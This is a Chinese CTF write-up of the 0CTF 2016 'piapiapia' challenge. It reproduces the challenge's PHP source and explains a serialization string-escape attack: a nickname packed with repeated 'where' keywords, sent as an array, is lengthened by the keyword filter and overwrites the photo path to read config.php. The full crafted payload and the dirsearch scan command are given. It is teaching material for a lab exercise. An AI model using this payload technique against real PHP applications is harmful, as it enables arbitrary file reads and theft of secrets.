Bootstrap

[0CTF 2016]piapiapia 1

目录

题目分析

初步分析

题目是一个登录框，经过尝试没有发现sql注入，扫描目录看看
在这里插入图片描述

目录扫描

使用dirsearch，请求速度不能过块，线程设置为1，并设置每次请求间隔时间

dirsearch -e * -u url -t 1 --delay=1 --timeout=2 -x 400,403,404,500,503,429

在这里插入图片描述

/register.php
/config.php
/update.php
/www.zip
/profile.php

/register.php

访问/register.php，是注册页面，先注册一个账号登录
在这里插入图片描述
登录以后跳转到/update.php在这里插入图片描述
填完信息后，跳转到profile.php，并显示出了刚才传入的信息
在这里插入图片描述

/www.zip

访问/www.zip，得到源码

代码审计

自动审计

先使用Seay源代码审计系统自动审计，profile.php中存在任意文件读取在这里插入图片描述
全局搜索flag，config.php中存在flag在这里插入图片描述
思路明确，我们将使用profile.php中的文件读取功能读取config.php
接下来思考如何才能读取
按照刚才的初步分析，按照功能点审计代码

/index.php

<?php
    require_once('class.php');
    if($_SESSION['username']) {
        header('Location: profile.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        if(strlen($username) < 3 or strlen($username) > 16) 
            die('Invalid user name');

        if(strlen($password) < 3 or strlen($password) > 16) 
            die('Invalid password');

        if($user->login($username, $password)) {
            $_SESSION['username'] = $username;
            header('Location: profile.php');
            exit;    
        }
        else {
            die('Invalid user name or password');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">

            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

登录界面，登录完会跳到profile.php

/profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        <h3>Hi <?php echo $nickname;?></h3>
        <label>Phone: <?php echo $phone;?></label>
        <label>Email: <?php echo $email;?></label>
    </div>
</body>
</html>
<?php
    }
?>

应为我们刚才已经输入过电话，邮箱等信息，所以不会跳到update.php界面
存在反序列化，思路是控制构造序列化字符串，给$profile[‘photo’]赋值，从而达到文件读取的目的
接下来分析update.php

/update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

使用四个正则表达式对参数进行过滤，第三个过滤对长度：strlen($_POST[‘nickname’]) > 10
可以传入数组的方式来绕过长度限制
photo的值我们刚传入文件的路径，我们的思路是将它的的值改为config.php
将四个参数经过序列化后，调用了user的update_profile()函数
通过全局搜索，该函数在class.php中

/class.php

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

有两个类，user继承了mysql
找到update_profile()函数，其中调用mysql类中的filter()函数和update()函数

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

filter()函数：

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);

过滤函数，如果参数中存在(‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’)，替换为"hacker"
“where"替换"hack”，字符串增多，我们可以利用字符串逃逸，将phpto的值变为我们想要的
update()函数：

public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

将数据库中储存的值更新

字符串逃逸

字符串减少

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

字符串增多

在这里插入图片描述

在这里插入图片描述

本题序列化内容构造

先构造一个正常的序列化内容
因为nickname有长度限制，我们把它的类型改为数组来绕过在这里插入图片描述

O:4:"user":4:{s:6:"pohone";s:11:"15288888888";s:5:"email";s:16:"[email protected]";s:8:"neckname";a:0:{}s:5:"photo";s:5:"1.jpg";}

";}s:5:“photo”;s:10:“config.php”;}的长度为34，所以需要输入34个where
最终构造出的序列化内容为

O:4:"user":4:{s:6:"pohone";s:11:"15288888888";s:5:"email";s:16:"[email protected]";s:8:"neckname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:5:"1.jpg";}

nickname的值为：

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

解题过程

思路

/update.php————》传入构造的neckname的值————》filter()函数替换后发生字符串增多的字符串逃逸————》photo的值改变为config.php————》存入数据库中
————》profile.php从数据库中拿到photo的值————》执行file_get_contents($profile['photo'])————得到flag

解题过程

/register.php页面注册一个账号，登录后跳转到update.php页面
抓update.php的包，构造nickname的值在这里插入图片描述
访问profile.php，查看页面源代码在这里插入图片描述
base64解码后得到flag在这里插入图片描述

悦读

道可道，非常道；名可名，非常名。 无名，天地之始，有名，万物之母。 故常无欲，以观其妙，常有欲，以观其徼。 此两者，同出而异名，同谓之玄，玄之又玄，众妙之门。

最新收录
【从零开始学习光流算法】（一）基本假设及Lucas-Kanade(LK)光流法
根据模板动态生成word（二）使用poi生成word
【前端知识点】promise简书-30分钟带你搞懂promise面试必备
三分钟学会node包管理工具nvm的安装及使用
Perl打印9x9乘法口诀
linux中的用户管理和用户组管理以及文件权限命令
漏洞盒子/漏洞扫描-手把手教黑客详细教程
GPS定位坐标纠偏中遇到的问题
地震信号去噪学习（自用）
Python之pandas库DataFrame基本操作
;